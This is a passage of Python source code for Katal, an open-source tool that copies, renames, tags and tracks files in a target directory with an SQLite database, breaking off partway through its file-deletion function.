string, see https://www.python.org/dev/peps/pep-0440/ :\n# e.g. \"0.1.2.dev1\" or \"0.1a\"\n#\n# o See also https://pypi.python.org/pypi?%3Aaction=list_classifiers\n#\n#===============================================================================\n__projectname__ = \"Katal\"\n__version__ = \"0.3.3\"\n__laststableversion__ = \"0.3.3\" # when modifying this line, do not forget to launch fill_README.py\n__author__ = \"Xavier Faure (suizokukan / 94.23.197.37)\"\n__copyright__ = \"Copyright 2015, suizokukan\"\n__license__ = \"GPL-3.0\"\n__licensepypi__ = 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)'\n__maintainer__ = \"Xavier Faure (suizokukan)\"\n__email__ = \"suizokukan @T orange D@T fr\"\n__status__ = \"Beta\"\n__statuspypi__ = 'Development Status :: 5 - Production/Stable'\n\n#===============================================================================\n# global variables\n#===============================================================================\n\nARGS = None # parameters given on the command line; initialized by main();\n\nCFG_PARAMETERS = None # see documentation:configuration file\n # parameters read from the configuration file.\n # see the read_parameters_from_cfgfile() function\n\nINFOS_ABOUT_SRC_PATH = (None, None, None) # initialized by show_infos_about_source_path()\n # ((int)total_size, (int)files_number, (dict)extensions)\n\nTARGET_DB = dict() # see documentation:database; initialized by read_target_db()\n\nUSE_LOGFILE = False # (bool) initialized from the configuration file\nLOGFILE = None # the file descriptor, initialized by logfile_opening()\nLOGFILE_SIZE = 0 # size of the current logfile.\n\nSELECT = {} # see documentation:selection; initialized by action__select()\nSELECT_SIZE_IN_BYTES = 0 # initialized by action__select()\nFILTERS = {} # see documentation:selection; initialized by read_filters()\n\n#===============================================================================\n# type(s)\n#===============================================================================\n\n# SELECT is made of SELECTELEMENT objects, where data about the original files\n# are stored.\n#\n# Due to Pylint's requirements, we can't name this type SelectElement.\nSELECTELEMENT = namedtuple('SELECTELEMENT', [\"fullname\",\n \"partialhashid\",\n \"path\",\n \"filename_no_extens\",\n \"extension\",\n \"size\",\n \"date\",\n \"targetname\",\n \"targettags\",])\n\n#===============================================================================\n# global constants : CST__*\n#===============================================================================\n\n# this minimal subset of characters are the only characters to be used in the\n# eval() function. Other characters are forbidden to avoid malicious code execution.\n# keywords an symbols : filter, parentheses, \"and\", \"or\", \"not\", \"xor\", \"True\", \"False\"\n# space, &, |, ^, (, ), 0, 1, 2, 3, 4, 5, 6, 7, 8, 9\nCST__AUTHORIZED_EVALCHARS = \" TFasdlfiteruxnot0123456789&|^()\"\n\nCST__DATABASE_NAME = \"katal.db\"\n\nCST__DEFAULT_CONFIGFILE_NAME = \"katal.ini\"\n\nCST__DEFAULTCFGFILE_URL = \\\n \"https://raw.githubusercontent.com/suizokukan/katal/master/katal/katal.ini\"\n\n# date's string format used by Katal :\nCST__DTIME_FORMAT = \"%Y-%m-%d %H:%M\" # e.g. \"2015-09-17 20:01\"\n\n# let's compute the length of such a string :\nCST__DTIME_FORMAT_LENGTH = len(datetime.strftime(datetime.now(), CST__DTIME_FORMAT))\n\n# when the program verifies that there's enough free space on disk, it multiplies\n# the required amount of space by these coefficient\nCST__FREESPACE_MARGIN = 1.1\n\nCST__KATALSYS_SUBDIR = \".katal\"\n\nCST__LOG_SUBSUBDIR = \"logs\"\n\nCST__LOGFILE_DTIMEFORMATSTR = \"%Y_%m_%d__%H%M%S__%f\" # constant of the time format added to old\n # logfiles' filename .\n # see the backup_logfile() function .\n\n# suffix, multiple :\n# about the multiples of bytes, see e.g. https://en.wikipedia.org/wiki/Megabyte\nCST__MULTIPLES = ((\"kB\", 1000),\n (\"KB\", 1000),\n (\"MB\", 1000**2),\n (\"GB\", 1000**3),\n (\"TB\", 1000**4),\n (\"PB\", 1000**5),\n (\"EB\", 1000**6),\n (\"ZB\", 1000**7),\n (\"YB\", 1000**8),\n (\"KiB\", 1024),\n (\"MiB\", 1024**2),\n (\"GiB\", 1024**3),\n (\"TiB\", 1024**4),\n (\"PiB\", 1024**5),\n (\"EiB\", 1024**6),\n (\"ZiB\", 1024**7),\n (\"YiB\", 1024**8))\n\n# How many bytes have to be read to compute the partial hashid ?\n# See the thefilehastobeadded__db() and the hashfile64() functions.\nCST__PARTIALHASHID_BYTESNBR = 1000000\n\n# string used to create the database :\nCST__SQL__CREATE_DB = ('CREATE TABLE dbfiles ('\n 'hashid varchar(44) PRIMARY KEY UNIQUE, '\n 'partialhashid varchar(44), '\n 'size INTEGER, '\n 'name TEXT UNIQUE, '\n 'sourcename TEXT, sourcedate INTEGER, tagsstr TEXT)')\n\nCST__TAG_SEPARATOR = \";\" # symbol used in the database between two tags.\n\nCST__TASKS_SUBSUBDIR = \"tasks\"\n\nCST__TRASH_SUBSUBDIR = \"trash\"\n\n# foreground colors :\n# (for more colors, see https://en.wikipedia.org/wiki/ANSI_escape_code)\nCST__LINUXCONSOLECOLORS = {\n \"default\" : \"\\033[0m\",\n \"red\" : \"\\033[0;31;1m\",\n \"cyan\" : \"\\033[0;36;1m\",\n \"white\" : \"\\033[0;37;1m\",\n}\n\n# 'Linux', 'Windows', 'Java' according to https://docs.python.org/3.5/library/platform.html\nCST__PLATFORM = platform.system()\n\n################################################################################\nclass KatalError(BaseException):\n \"\"\"\n KatalError class\n\n A very basic class called when an error is raised by the program.\n \"\"\"\n #///////////////////////////////////////////////////////////////////////////\n def __init__(self, value):\n BaseException.__init__(self)\n self.value = value\n #///////////////////////////////////////////////////////////////////////////\n def __str__(self):\n return repr(self.value)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__add():\n \"\"\"\n action__add()\n ________________________________________________________________________\n\n Add the source files described in SELECT/SELECT_SIZE_IN_BYTES to the\n target path.\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE\n (int) 0 if success, -1 if an error occured.\n \"\"\"\n msg(\" = copying data =\")\n\n db_connection = sqlite3.connect(get_database_fullname())\n db_cursor = db_connection.cursor()\n\n if get_disk_free_space(ARGS.targetpath) < SELECT_SIZE_IN_BYTES*CST__FREESPACE_MARGIN:\n msg(\" ! Not enough space on disk. Stopping the program.\",\n consolecolor=\"red\")\n # returned value : -1 = error\n return -1\n\n files_to_be_added = []\n len_select = len(SELECT)\n for index, hashid in enumerate(SELECT):\n\n complete_source_filename = SELECT[hashid].fullname\n target_name = os.path.join(normpath(ARGS.targetpath), SELECT[hashid].targetname)\n\n sourcedate = datetime.utcfromtimestamp(os.path.getmtime(complete_source_filename))\n sourcedate = sourcedate.replace(second=0, microsecond=0)\n\n # converting the datetime object in epoch value (=the number of seconds from 1970-01-01 :\n sourcedate -= datetime(1970, 1, 1)\n sourcedate = sourcedate.total_seconds()\n\n if not ARGS.off:\n if CFG_PARAMETERS[\"target\"][\"mode\"] == \"nocopy\":\n # nothing to do\n msg(\" ... ({0}/{1}) due to the mode=nocopy' option, \"\n \"\\\"{2}\\\" will be simply added \"\n \"in the target database.\".format(index+1, len_select,\n complete_source_filename))\n\n elif CFG_PARAMETERS[\"target\"][\"mode\"] == \"copy\":\n # copying the file :\n msg(\" ... ({0}/{1}) about to \"\n \"copy \\\"{2}\\\" to \\\"{3}\\\" .\".format(index+1,\n len_select,\n complete_source_filename,\n target_name))\n shutil.copyfile(complete_source_filename, target_name)\n os.utime(target_name, (sourcedate, sourcedate))\n\n elif CFG_PARAMETERS[\"target\"][\"mode\"] == \"move\":\n # moving the file :\n msg(\" ... ({0}/{1}) about to \"\n \"move \\\"{2}\\\" to \\\"{3}\\\" .\".format(index+1,\n len_select,\n complete_source_filename,\n target_name))\n shutil.move(complete_source_filename, target_name)\n os.utime(target_name, (sourcedate, sourcedate))\n\n files_to_be_added.append((hashid,\n SELECT[hashid].partialhashid,\n SELECT[hashid].size,\n SELECT[hashid].targetname,\n complete_source_filename,\n sourcedate,\n SELECT[hashid].targettags))\n\n msg(\" = all files have been copied, let's update the database... =\")\n\n try:\n if not ARGS.off:\n db_cursor.executemany('INSERT INTO dbfiles VALUES (?,?,?,?,?,?,?)', files_to_be_added)\n\n except sqlite3.IntegrityError as exception:\n msg(\"!!! An error occured while writing the database : \"+str(exception),\n consolecolor=\"red\")\n msg(\"!!! files_to_be_added : \",\n consolecolor=\"red\")\n for file_to_be_added in files_to_be_added:\n msg(\" ! hashid={0}; partialhashid={1}; size={2}; name={3}; sourcename={4}; \"\n \"sourcedate={5}; tagsstr={6}\".format(*file_to_be_added),\n consolecolor=\"red\")\n raise KatalError(\"An error occured while writing the database : \"+str(exception))\n\n db_connection.commit()\n db_connection.close()\n\n msg(\" = ... database updated =\")\n\n # returned value : 0 = success\n return 0\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__addtag(tag, dest):\n \"\"\"\n action__addtag()\n ________________________________________________________________________\n\n Add a tag dest the files given by the \"dest\" parameter.\n ________________________________________________________________________\n\n PARAMETERS\n o tag : (str) new tag to be added\n o dest : (str) a regex string describing what files are\n concerned\n \"\"\"\n msg(\" = let's add the tag string \\\"{0}\\\" to {1}\".format(tag, dest))\n modify_the_tag_of_some_files(tag=tag, dest=dest, mode=\"append\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__cleandbrm():\n \"\"\"\n action__cleandbrm()\n ________________________________________________________________________\n\n Remove from the database the missing files, i.e. the files that do not\n exist in the target directory.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n msg(\" = clean the database : remove missing files from the target directory =\")\n\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found.\",\n consolecolor=\"red\")\n return\n\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n files_to_be_rmved_from_the_db = [] # hashid of the files\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n if not os.path.exists(os.path.join(normpath(ARGS.targetpath), db_record[\"name\"])):\n files_to_be_rmved_from_the_db.append(db_record[\"hashid\"])\n msg(\" o about to remove \\\"{0}\\\" \"\n \"from the database\".format(os.path.join(normpath(ARGS.targetpath),\n db_record[\"name\"])))\n\n if len(files_to_be_rmved_from_the_db) == 0:\n msg(\" * no file to be removed : the database is ok.\",\n consolecolor=\"red\")\n else:\n for hashid in files_to_be_rmved_from_the_db:\n if not ARGS.off:\n msg(\" o removing \\\"{0}\\\" record \"\n \"from the database\".format(hashid))\n db_cursor.execute(\"DELETE FROM dbfiles WHERE hashid=?\", (hashid,))\n db_connection.commit()\n\n db_connection.close()\n if not ARGS.off:\n msg(\" o ... done : removed {0} \"\n \"file(s) from the database\".format(len(files_to_be_rmved_from_the_db)))\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__downloadefaultcfg(targetname=CST__DEFAULT_CONFIGFILE_NAME, location=\"local\"):\n \"\"\"\n action__downloadefaultcfg()\n ________________________________________________________________________\n\n Download the default configuration file; save it in the current directory\n (location='local') or in the user's HOME directory (location='home').\n ________________________________________________________________________\n\n PARAMETERS :\n o (str) targetname : the new name of the downloaded file\n o (str) location : \"local\" or \"home\"\n\n RETURNED VALUE :\n (bool) success\n \"\"\"\n msg(\" = downloading the default configuration file =\")\n msg(\" ... trying to download {0} from {1}\".format(targetname, CST__DEFAULTCFGFILE_URL))\n\n try:\n if not ARGS.off:\n with urllib.request.urlopen(CST__DEFAULTCFGFILE_URL) as response, \\\n open(targetname, 'wb') as out_file:\n shutil.copyfileobj(response, out_file)\n msg(\" * download completed : \\\"{0}\\\" (path : \\\"{1}\\\")\".format(targetname,\n normpath(targetname)))\n\n if location == 'home':\n newname = os.path.join(possible_paths_to_cfg()[-1],\n os.path.basename(targetname))\n msg(\" * Since you wrote '--downloaddefaultcfg=home', \"\n \"let's move the download file to the user's home directory...\")\n msg(\" namely {0} -> {1}\".format(targetname, newname))\n shutil.move(targetname, newname)\n\n return True\n\n except urllib.error.URLError as exception:\n msg(\" ! An error occured : \"+str(exception),\n consolecolor=\"red\")\n msg(\" ... if you can't download the default config file, what about simply\",\n consolecolor=\"red\")\n msg(\" ... copy another config file to the target directory ?\",\n consolecolor=\"red\")\n msg(\" ... In a target directory, the config file is \"\n \"in the \\\"{0}\\\" directory.\".format(os.path.join(CST__KATALSYS_SUBDIR)),\n consolecolor=\"red\")\n return False\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__findtag(tag):\n \"\"\"\n action__findtag()\n ________________________________________________________________________\n\n Display the files tagged with a tag. \"tag\" is a simple string, not a\n regex. The function searches a substring \"tag\" in the tags' string.\n\n With --copyto, copy the selected files into the directory whose name\n is given by ARGS.copyto .\n ________________________________________________________________________\n\n PARAMETER\n o tag : (str)the searched tag\n\n no RETURNED VALUE\n \"\"\"\n msg(\" = searching the files with the tag \\\"{0}\\\" =\".format(tag))\n\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found.\",\n consolecolor=\"red\")\n return\n\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n res = []\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n if tag in db_record[\"tagsstr\"]:\n\n res.append(db_record[\"name\"])\n msg(\" o \\\"{0}\\\" : \\\"{1}\\\"\".format(db_record[\"name\"],\n tagsstr_repr(db_record[\"tagsstr\"])))\n\n len_res = len(res)\n if len_res == 0:\n msg(\" o no file matches the tag \\\"{0}\\\" .\".format(tag))\n elif len_res == 1:\n msg(\" o one file matches the tag \\\"{0}\\\" .\".format(tag))\n else:\n msg(\" o {0} files match the tag \\\"{1}\\\" .\".format(len_res, tag))\n\n db_connection.commit()\n db_connection.close()\n\n # --copyto argument :\n if ARGS.copyto:\n msg(\" o copying the files into \\\"{0}\\\" (path: \\\"{1}\\\")\".format(ARGS.copyto,\n normpath(ARGS.copyto)))\n\n if not os.path.exists(normpath(ARGS.copyto)):\n msg(\" * let's create \\\"{0}\\\" (path: \\\"{1}\\\"\".format(ARGS.copyto,\n normpath(ARGS.copyto)))\n if not ARGS.off:\n os.mkdir(normpath(ARGS.copyto))\n\n for i, filename in enumerate(res):\n src = os.path.join(normpath(ARGS.targetpath), filename)\n dest = os.path.join(normpath(ARGS.copyto), filename)\n msg(\" o ({0}/{1}) copying \\\"{2}\\\" as \\\"{3}\\\"...\".format(i+1, len_res, src, dest))\n if not ARGS.off:\n shutil.copy(src, dest)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__infos():\n \"\"\"\n action__infos()\n ________________________________________________________________________\n\n Display informations about the source and the target directory\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE\n (int) 0 if ok, -1 if an error occured\n \"\"\"\n msg(\" = informations =\")\n show_infos_about_source_path()\n return show_infos_about_target_path()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__new(targetname):\n \"\"\"\n action__new()\n ________________________________________________________________________\n\n Create a new target directory\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n msg(\" = about to create a new target directory \"\n \"named \\\"{0}\\\" (path : \\\"{1}\\\")\".format(targetname,\n normpath(targetname)))\n if os.path.exists(normpath(targetname)):\n msg(\" ! can't go further : the directory already exists.\",\n consolecolor=\"red\")\n return\n\n if not ARGS.off:\n msg(\" ... creating the target directory with its sub-directories...\")\n os.mkdir(normpath(targetname))\n os.mkdir(os.path.join(normpath(targetname), CST__KATALSYS_SUBDIR))\n os.mkdir(os.path.join(normpath(targetname), CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR))\n os.mkdir(os.path.join(normpath(targetname), CST__KATALSYS_SUBDIR, CST__TASKS_SUBSUBDIR))\n os.mkdir(os.path.join(normpath(targetname), CST__KATALSYS_SUBDIR, CST__LOG_SUBSUBDIR))\n\n create_empty_db(os.path.join(normpath(targetname),\n CST__KATALSYS_SUBDIR,\n CST__DATABASE_NAME))\n\n if ARGS.verbosity != 'none':\n answer = \\\n input((\"\\nDo you want to download the default config file \"\n \"into the expected directory ? (y/N) \"))\n\n if answer in (\"y\", \"yes\"):\n res = action__downloadefaultcfg(targetname=os.path.join(normpath(targetname),\n CST__KATALSYS_SUBDIR,\n CST__DEFAULT_CONFIGFILE_NAME),\n location=\"local\")\n if not res:\n msg(\" ! A problem occured : \"\n \"the creation of the target directory has been aborted.\",\n consolecolor=\"red\")\n\n msg(\" ... done with the creation of \\\"{0}\\\" as a new target directory.\".format(targetname))\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__rebase(newtargetpath):\n \"\"\"\n action__rebase()\n ________________________________________________________________________\n\n Copy the current target directory into a new one, modifying the filenames.\n ________________________________________________________________________\n\n PARAMETER :\n o newtargetpath : (str) path to the new target directory.\n\n no RETURNED VALUE\n \"\"\"\n source_path = CFG_PARAMETERS[\"source\"][\"path\"]\n\n msg(\" = copying the current target directory into a new one =\")\n msg(\" o from {0} (path : \\\"{1}\\\")\".format(source_path,\n normpath(source_path)))\n\n msg(\" o to {0} (path : \\\"{1}\\\")\".format(newtargetpath,\n normpath(newtargetpath)))\n\n to_configfile = os.path.join(newtargetpath,\n CST__KATALSYS_SUBDIR,\n CST__DEFAULT_CONFIGFILE_NAME)\n msg(\" o trying to read dest config file {0} \"\n \"(path : \\\"{1}\\\") .\".format(to_configfile,\n normpath(to_configfile)))\n dest_params = read_parameters_from_cfgfile(normpath(to_configfile))\n\n if dest_params is None:\n msg(\" ! can't read the dest config file !\",\n consolecolor=\"red\")\n return\n\n msg(\" o config file found and read (ok)\")\n msg(\" o new filenames' format : \"\n \"{0}\".format(dest_params[\"target\"][\"name of the target files\"]))\n msg(\" o tags to be added : \"\n \"{0}\".format(dest_params[\"target\"][\"tags\"]))\n\n new_db = os.path.join(normpath(newtargetpath), CST__KATALSYS_SUBDIR, CST__DATABASE_NAME)\n if not ARGS.off:\n if os.path.exists(new_db):\n # let's delete the previous new database :\n os.remove(new_db)\n\n # let's compute the new names :\n olddb_connection = sqlite3.connect(get_database_fullname())\n olddb_connection.row_factory = sqlite3.Row\n olddb_cursor = olddb_connection.cursor()\n\n files, anomalies_nbr = action__rebase__files(olddb_cursor, dest_params, newtargetpath)\n\n go_on = True\n if anomalies_nbr != 0:\n go_on = False\n answer = \\\n input((\"\\nAt least one anomaly detected (see details above) \"\n \"Are you sure you want to go on ? (y/N) \"))\n\n if answer in (\"y\", \"yes\"):\n go_on = True\n\n if not go_on:\n olddb_connection.close()\n return\n else:\n action__rebase__write(new_db, files)\n olddb_connection.close()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__rebase__files(olddb_cursor, dest_params, newtargetpath):\n \"\"\"\n action__rebase__files()\n ________________________________________________________________________\n\n Return a dict of the files to be copied (old name, new name, ...) and\n the number of anomalies.\n\n Anomalies : files' names collisions.\n ________________________________________________________________________\n\n PARAMETER :\n o olddb_cursor : cursor to the source database\n o dest_params : an object returned by read_parameters_from_cfgfile(),\n like CFG_PARAMETERS\n o newtargetpath : (str) path to the new target directory.\n\n RETURNED VALUE :\n (files, (int)number of anomalies)\n\n files : a dict hashid::( (0)source name,\n (1)new name,\n (2)source date,\n (3)source tagsstr,\n (4)size,\n (5)partialhashid)\n \"\"\"\n source_path = CFG_PARAMETERS[\"source\"][\"path\"]\n\n files = dict() # dict to be returned.\n filenames = set() # to be used to avoid duplicates.\n\n anomalies_nbr = 0\n for index, olddb_record in enumerate(olddb_cursor.execute('SELECT * FROM dbfiles')):\n fullname = normpath(os.path.join(source_path, olddb_record[\"name\"]))\n filename_no_extens, extension = get_filename_and_extension(fullname)\n\n size = olddb_record[\"size\"]\n date = olddb_record[\"sourcedate\"]\n new_name = \\\n create_target_name(parameters=dest_params,\n hashid=olddb_record[\"hashid\"],\n filename_no_extens=filename_no_extens,\n path=olddb_record[\"sourcename\"],\n extension=extension,\n _size=size,\n date=datetime.utcfromtimestamp(date).strftime(CST__DTIME_FORMAT),\n database_index=index)\n new_name = normpath(os.path.join(newtargetpath, new_name))\n tagsstr = olddb_record[\"tagsstr\"]\n\n msg(\" o {0} : {1} would be copied as {2}\".format(olddb_record[\"hashid\"],\n olddb_record[\"name\"],\n new_name))\n\n if new_name in filenames:\n msg(\" ! anomaly : ancient file {1} should be renamed as {0} \"\n \"but this name would have been already created in the new target directory ! \"\n \"\".format(new_name, fullname),\n consolecolor=\"red\")\n msg(\" Two different files from the ancient target directory \"\n \"can't bear the same name in the new target directory !\",\n consolecolor=\"red\")\n anomalies_nbr += 1\n elif os.path.exists(new_name):\n msg(\" ! anomaly : ancient file {1} should be renamed as {0} \"\n \"but this name already exists in new target directory !\".format(new_name,\n fullname),\n consolecolor=\"red\")\n anomalies_nbr += 1\n else:\n files[olddb_record[\"hashid\"]] = (fullname, new_name, date, tagsstr)\n filenames.add(new_name)\n\n return files, anomalies_nbr\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__rebase__write(new_db, _files):\n \"\"\"\n action__rebase__write()\n ________________________________________________________________________\n\n Write the files described by \"_files\" in the new target directory.\n ________________________________________________________________________\n\n PARAMETER :\n o new_db : (str) new database's name\n o _files : (dict) see action__rebase__files()\n\n About the underscore before \"_files\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n no RETURNED VALUE\n \"\"\"\n # let's write the new database :\n newdb_connection = sqlite3.connect(new_db)\n newdb_connection.row_factory = sqlite3.Row\n newdb_cursor = newdb_connection.cursor()\n\n try:\n if not ARGS.off:\n newdb_cursor.execute(CST__SQL__CREATE_DB)\n\n for index, futurefile_hashid in enumerate(_files):\n futurefile = _files[futurefile_hashid]\n file_to_be_added = (futurefile_hashid, # hashid\n futurefile[5], # partial hashid\n futurefile[4], # size\n futurefile[1], # new name\n futurefile[0], # sourcename\n futurefile[2], # sourcedate\n futurefile[3]) # tags\n\n strdate = datetime.utcfromtimestamp(futurefile[2]).strftime(CST__DTIME_FORMAT)\n msg(\" o ({0}/{1}) adding a file in the new database\".format(index+1, len(_files)))\n msg(\" o hashid : {0}\".format(futurefile_hashid))\n msg(\" o source name : \\\"{0}\\\"\".format(futurefile[0]))\n msg(\" o desti. name : \\\"{0}\\\"\".format(futurefile[1]))\n msg(\" o source date : {0}\".format(strdate))\n msg(\" o size : {0}\".format(futurefile[4]))\n msg(\" o tags : \\\"{0}\\\"\".format(futurefile[3]))\n\n if not ARGS.off:\n newdb_cursor.execute('INSERT INTO dbfiles VALUES (?,?,?,?,?,?,?)', file_to_be_added)\n newdb_connection.commit()\n\n except sqlite3.IntegrityError as exception:\n msg(\"!!! An error occured while writing the new database : \"+str(exception))\n raise KatalError(\"An error occured while writing the new database : \"+str(exception))\n\n newdb_connection.close()\n\n # let's copy the files :\n for index, futurefile_hashid in enumerate(_files):\n futurefile = _files[futurefile_hashid]\n old_name, new_name = futurefile[0], futurefile[1]\n\n msg(\" o ({0}/{1}) copying \\\"{2}\\\" as \\\"{3}\\\"\".format(index+1, len(_files),\n old_name, new_name))\n if not ARGS.off:\n shutil.copyfile(old_name, new_name)\n\n msg(\" ... done\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__reset():\n \"\"\"\n action__reset()\n ________________________________________________________________________\n\n Delete the files in the target directory and the database.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n msg(\" = about to delete (=move in the trash) the target files and the database.\")\n\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found, nothing to do .\",\n consolecolor=\"red\")\n return\n\n if ARGS.verbosity != 'none':\n answer = \\\n input((\"\\nDo you really want to delete (=move to the katal trash directory)\"\n \"the files in the target directory and the database (y/N) \"))\n if answer not in (\"y\", \"yes\"):\n return\n\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n files_to_be_removed = [] # a list of (hashid, fullname)\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n files_to_be_removed.append((db_record[\"hashid\"], db_record[\"name\"]))\n\n for hashid, name in files_to_be_removed:\n msg(\" o removing {0} from the database and from the target path\".format(name))\n if not ARGS.off:\n # let's remove the file from the target directory :\n shutil.move(os.path.join(normpath(ARGS.targetpath), name),\n os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR, name))\n # let's remove the file from the database :\n db_cursor.execute(\"DELETE FROM dbfiles WHERE hashid=?\", (hashid,))\n\n db_connection.commit()\n\n db_connection.close()\n\n msg(\" = ... done : the database should be empty, the target files should no longer exist.\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__rmnotags():\n \"\"\"\n action__rmnotags\n ________________________________________________________________________\n\n Remove all files (from the target directory and from the database) if\n they have no tags.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n msg(\" = removing all files with no tags (=moving them to the trash) =\")\n\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found.\",\n consolecolor=\"red\")\n else:\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n files_to_be_removed = [] # list of (hashid, name)\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n if db_record[\"tagsstr\"] == \"\":\n files_to_be_removed.append((db_record[\"hashid\"], db_record[\"name\"]))\n\n if len(files_to_be_removed) == 0:\n msg(\" ! no files to be removed.\",\n consolecolor=\"red\")\n else:\n for hashid, name in files_to_be_removed:\n msg(\" o removing {0} from the database and from the target path\".format(name))\n if not ARGS.off:\n # let's remove the file from the target directory :\n shutil.move(os.path.join(normpath(ARGS.targetpath), name),\n os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR, name))\n # let's remove the file from the database :\n db_cursor.execute(\"DELETE FROM dbfiles WHERE hashid=?\", (hashid,))\n\n db_connection.commit()\n db_connection.close()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__rmtags(dest):\n \"\"\"\n action__rmtags()\n ________________________________________________________________________\n\n Remove the tags' string(s) in the target directory, overwriting ancient\n tags.\n ________________________________________________________________________\n\n PARAMETERS\n o dest : (str) a regex string describing what files are\n concerned\n \"\"\"\n msg(\" = let's remove the tags' string(s) in {0}\".format(dest))\n action__settagsstr(tagsstr=\"\", dest=dest)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__select():\n \"\"\"\n action__select()\n ________________________________________________________________________\n\n fill SELECT and SELECT_SIZE_IN_BYTES and display what's going on.\n This function will always be called before a call to action__add().\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE.\n \"\"\"\n msg(\" = selecting files according to the instructions in the config file... =\")\n\n msg(\" o the files will be copied in \\\"{0}\\\" \"\n \"(path: \\\"{1}\\\")\".format(ARGS.targetpath,\n normpath(ARGS.targetpath)))\n msg(\" o the files will be renamed according \"\n \"to the \\\"{0}\\\" pattern.\".format(CFG_PARAMETERS[\"target\"][\"name of the target files\"]))\n\n msg(\" o filters :\")\n\n for filter_index in FILTERS:\n msg(\" o filter #{0} : {1}\".format(filter_index,\n FILTERS[filter_index]))\n msg(\" o file list :\")\n\n # let's initialize SELECT and SELECT_SIZE_IN_BYTES :\n number_of_discarded_files = fill_select()\n\n msg(\" o size of the selected file(s) : {0}\".format(size_as_str(SELECT_SIZE_IN_BYTES)))\n\n if len(SELECT) == 0:\n msg(\" ! no file selected ! \"\n \"You have to modify the config file to get some files selected.\",\n consolecolor=\"red\")\n else:\n ratio = len(SELECT)/(len(SELECT)+number_of_discarded_files)*100.0\n msg(\" o number of selected files \"\n \"(after discarding {1} file(s)) : {0}, \"\n \"{2:.2f}% of the source files.\".format(len(SELECT),\n number_of_discarded_files,\n ratio))\n\n # let's check that the target path has sufficient free space :\n if CFG_PARAMETERS[\"target\"][\"mode\"] != \"nocopy\":\n available_space = get_disk_free_space(ARGS.targetpath)\n if available_space > SELECT_SIZE_IN_BYTES*CST__FREESPACE_MARGIN:\n size_ok = \"ok\"\n colorconsole = \"white\"\n else:\n size_ok = \"!!! problem !!!\"\n colorconsole = \"red\"\n\n msg(\" o required space : {0}; \"\n \"available space on disk : {1} ({2})\".format(size_as_str(SELECT_SIZE_IN_BYTES),\n size_as_str(available_space),\n size_ok),\n consolecolor=colorconsole)\n\n # if there's no --add option, let's give some examples of the target names :\n if not ARGS.add and CFG_PARAMETERS[\"target\"][\"mode\"] != \"nocopy\":\n example_index = 0\n for hashid in SELECT:\n\n complete_source_filename = SELECT[hashid].fullname\n\n target_name = os.path.join(normpath(ARGS.targetpath), SELECT[hashid].targetname)\n\n msg(\" o e.g. ... \\\"{0}\\\" \"\n \"would be copied as \\\"{1}\\\" .\".format(complete_source_filename,\n target_name))\n\n example_index += 1\n\n if example_index > 5:\n break\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__settagsstr(tagsstr, dest):\n \"\"\"\n action__settagsstr()\n ________________________________________________________________________\n\n Set the tags' string(s) in the target directory, overwriting ancient tags.\n ________________________________________________________________________\n\n PARAMETERS\n o tagsstr : (str) the new tags' strings\n o dest : (str) a regex string describing what files are\n concerned\n \"\"\"\n msg(\" = let's apply the tag string\\\"{0}\\\" to {1}\".format(tagsstr, dest))\n modify_the_tag_of_some_files(tag=tagsstr, dest=dest, mode=\"set\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__target_kill(filename):\n \"\"\"\n action__target_kill()\n ________________________________________________________________________\n\n Delete \"filename\" from the target directory and from the database.\n ________________________________________________________________________\n\n PARAMETER\n o filename : (str) file's name to be deleted.\n DO NOT GIVE A PATH, just the file's name,\n without the path to the target directory\n\n RETURNED VALUE\n (int) : 0 if success, -1 if the file doesn't exist in the target\n directory, -2 if the file doesn't exist in the database,\n -3 if there's no database.\n \"\"\"\n msg(\" = about to remove \\\"{0}\\\" from the target directory (=file moved to the trash) \"\n \"and from its database 